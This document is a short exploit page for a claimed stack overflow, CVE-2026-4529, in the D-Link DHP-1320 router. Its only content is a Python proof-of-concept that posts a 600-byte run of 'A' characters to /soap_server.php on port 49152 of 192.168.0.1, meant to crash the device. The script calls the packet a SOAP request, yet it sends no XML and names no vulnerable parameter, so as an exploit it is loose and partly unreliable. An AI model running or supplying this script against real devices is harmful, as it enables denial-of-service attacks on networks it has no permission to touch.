CVE-2026-4529 D-Link DHP-1320 栈溢出漏洞

import socket import sys # Target configuration TARGET_IP = "192.168.0.1" TARGET_PORT = 49152 # Common SOAP port for D-Link # Vulnerable component: SOAP Handler - redirect_count_down_page # The buffer overflow is triggered via a specific parameter in the SOAP request # Generating a large payload to overflow the stack overflow_size = 600 payload = b"A" * overflow_size # Constructing the malicious SOAP request packet # Note: The exact XML structure might vary based on device firmware analysis soap_packet = ( b"POST /soap_server.php HTTP/1.1\r\n" b"Host: " + TARGET_IP.encode() + b"\r\n" b"Content-Type: application/x-www-form-urlencoded\r\n" b"Content-Length: " + str(len(payload)).encode() + b"\r\n" b"\r\n" + payload ) print(f"[*] Sending payload to {TARGET_IP}:{TARGET_PORT}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) s.send(soap_packet) s.close() print("[+] Payload sent successfully. Check device for crash.") except Exception as e: print(f"[-] Error: {e}")